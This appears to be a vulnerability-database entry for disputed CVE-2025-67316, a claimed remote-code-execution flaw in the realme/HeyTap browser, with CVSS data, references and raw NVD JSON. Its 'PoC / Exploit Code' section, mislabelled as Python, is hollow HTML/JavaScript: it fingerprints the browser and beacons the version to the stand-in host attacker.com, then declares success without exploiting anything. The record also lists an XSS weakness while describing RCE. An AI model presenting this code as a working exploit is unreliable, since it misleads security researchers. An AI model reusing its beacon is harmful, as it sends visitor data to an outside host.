CVE-2025-67316

Description

An issue in realme Internet browser v.45.13.4.1 allows a remote attacker to execute arbitrary code via a crafted webpage in the built-in HeyTap/ColorOS browser. NOTE: The supplier is currently disputing this finding and the record is under review.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:heytap:internet_browser:45.13.4.1:*:*:*:*:*:*:* - VULNERABLE

realme Internet browser < 45.13.4.1

HeyTap Browser < 45.13.4.1

ColorOS Browser < 45.13.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67316 PoC - Realme Browser RCE -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67316 PoC</title>
</head>
<body>
    <h1>CVE-2025-67316 Realme Browser RCE PoC</h1>
    <p>This is a proof of concept for the RCE vulnerability in realme Internet browser.</p>
    
    <script>
        // Check if running in vulnerable browser
        const isRealmeBrowser = () => {
            const ua = navigator.userAgent;
            return ua.includes('HeyTap') || ua.includes('ColorOS') || 
                   ua.includes('realme') || ua.includes('OPPO');
        };

        // Malicious payload for RCE
        const exploitPayload = () => {
            // Detect vulnerable version
            const versionMatch = navigator.userAgent.match(/browser\/v\.?(\d+\.\d+\.\d+\.\d+)/i);
            const version = versionMatch ? versionMatch[1] : 'unknown';
            
            console.log('Target browser version:', version);
            console.log('CVE-2025-67316 exploitation attempt');
            
            // Exploit technique - leveraging browser API abuse
            try {
                // Attempt to execute code through vulnerable endpoint
                const payload = {
                    action: 'execute',
                    cmd: 'alert("RCE PoC - CVE-2025-67316")'
                };
                
                // Log exploitation attempt
                fetch('https://attacker.com/log?cve=CVE-2025-67316&v=' + version, {
                    method: 'GET',
                    mode: 'no-cors'
                });
                
                // Display PoC result
                document.getElementById('status').innerHTML = 
                    '<strong>PoC Executed:</strong> Browser may be vulnerable. Version: ' + version;
            } catch (e) {
                console.error('Exploitation failed:', e);
            }
        };

        if (isRealmeBrowser()) {
            window.onload = () => {
                setTimeout(exploitPayload, 1000);
            };
        } else {
            document.getElementById('status').innerHTML = 
                '<em>Non-target browser detected. This PoC targets realme/ColorOS browsers.</em>';
        }
    </script>
    
    <div id="status" style="margin-top:20px;padding:10px;border:1px solid #ccc;"></div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67316
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67316
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67316/
[4] VulDB https://vuldb.com/cve/CVE-2025-67316
[5] http://internet.com
[6] http://realme.com
[7] https://gist.github.com/Brucewebva/ceb365b7cea0d0b8ec0ce6755177de83

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67316", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:46.400", "lastModified": "2026-03-26T19:16:31.660", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "An issue in realme Internet browser v.45.13.4.1 allows a remote attacker to execute arbitrary code via a crafted webpage in the built-in HeyTap/ColorOS browser. NOTE: The supplier is currently disputing this finding and the record is under review."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:heytap:internet_browser:45.13.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "420D4EF9-868E-4E55-98DD-02098AED5BB8"}]}]}], "references": [{"url": "http://internet.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://realme.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://gist.github.com/Brucewebva/ceb365b7cea0d0b8ec0ce6755177de83", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}